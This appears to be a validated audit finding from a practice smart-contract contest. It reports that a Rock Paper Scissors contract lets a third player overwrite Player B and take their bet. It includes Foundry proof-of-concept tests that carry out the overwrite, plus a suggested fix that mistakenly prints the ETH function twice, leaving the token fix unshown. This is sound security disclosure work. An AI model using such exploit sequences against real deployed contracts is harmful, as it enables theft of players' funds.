Rock Paper Scissors
First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Lack of Player Slot Check in `joinGameWithEth` and `joinGameWithToken` Allows Overwrite of Player B, Leading to Fund Loss

marutint10

Summary

The RockPaperScissors::joinGameWithEth and RockPaperScissors::joinGameWithToken functions do not check if the playerB slot is already filled. This allows a third player (playerC) to overwrite playerB after they’ve joined, causing playerB to lose their bet while playerC takes their place, violating the 2-player game logic.

Vulnerability Details

The functions RockPaperScissors::joinGameWithEth and RockPaperScissors::joinGameWithToken fail to verify if playerB is already assigned. As a result, a third player (playerC) can overwrite playerB's slot after they’ve already joined the game, leading to the loss of funds for playerB and disrupting the two-player game flow. This results in unfair gameplay and potential for griefing, as the game allows a malicious player to hijack an existing spot.

Impact

  • PlayerB can lose their ETH or tokens after successfully joining a game.

  • PlayerC replaces PlayerB, breaking the expected flow of a two-player game.

  • This leads to financial loss and trust issues, and also disrupts game progression.

  • Potential for griefing or spamming the game contract to kick legitimate players.

Proof of Concept

Place the following tests in RockPaperScissorsTest.t.sol to demonstrate the vulnerability:

function testJoinGameWithEth_breaksRule() public {
// First create a game
vm.prank(playerA);
gameId = game.createGameWithEth{value: BET_AMOUNT}(TOTAL_TURNS, TIMEOUT);
​
// Now Player B joins the game
vm.startPrank(playerB);
vm.expectEmit(true, true, false, true);
emit PlayerJoined(gameId, playerB);
​
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
vm.stopPrank();
​
// Now Player C joins the game
vm.startPrank(playerC);
vm.expectEmit(true, true, false, true);
emit PlayerJoined(gameId, playerC);
​
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
vm.stopPrank();
​
(address storedPlayerA, address storedPlayerC,,,,,,,,,,,,,, RockPaperScissors.GameState state) =
game.games(gameId);
​
assertEq(storedPlayerA, playerA);
assertEq(storedPlayerC, playerC);
assertEq(uint256(state), uint256(RockPaperScissors.GameState.Created));
​
}
function testJoinGameWithToken_breakRules() public {
// First create a game with token
vm.startPrank(playerA);
token.approve(address(game), 1);
gameId = game.createGameWithToken(TOTAL_TURNS, TIMEOUT);
vm.stopPrank();
​
// Now player B joins the game
vm.startPrank(playerB);
token.approve(address(game), 1);
​
vm.expectEmit(true, true, false, true);
emit PlayerJoined(gameId, playerB);
​
game.joinGameWithToken(gameId);
vm.stopPrank();
​
// Now player C joins the game
vm.startPrank(playerC);
token.approve(address(game), 1);
​
vm.expectEmit(true, true, false, true);
emit PlayerJoined(gameId, playerC);
​
game.joinGameWithToken(gameId);
vm.stopPrank();
​
assertEq(token.balanceOf(playerB), 9);
assertEq(token.balanceOf(playerC), 9);
assertEq(token.balanceOf(address(game)), 3);
​
(address storedPlayerA, address storedPlayerC,,,,,,,,,,,,,, RockPaperScissors.GameState state) =
game.games(gameId);
​
assertEq(storedPlayerA, playerA);
assertEq(storedPlayerC, playerC);
assertEq(uint256(state), uint256(RockPaperScissors.GameState.Created));
}
​

Tools Used

Foundry, manual code review

Recommendations

Add a require statement in both functions RockPaperScissors::joinGameWithEth & RockPaperScissors::joinGameWithToken to check if playerB has joined. If joined, revert for playerC; if not, allow joining.

function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
​
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
+ require(game.playerB == address(0), "Game already has two players");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(msg.value == game.bet, "Bet amount must match creator's bet");
​
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
+ require(game.playerB == address(0), "Game already has two players");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(msg.value == game.bet, "Bet amount must match creator's bet");
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
Updates

Appeal created

m3dython Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Absence of State Change on Join Allows Player B Hijacking

Game state remains Created after a player joins

marutint10 Submitter
6 months ago
m3dython Lead Judge
6 months ago
m3dython Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Absence of State Change on Join Allows Player B Hijacking

Game state remains Created after a player joins

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.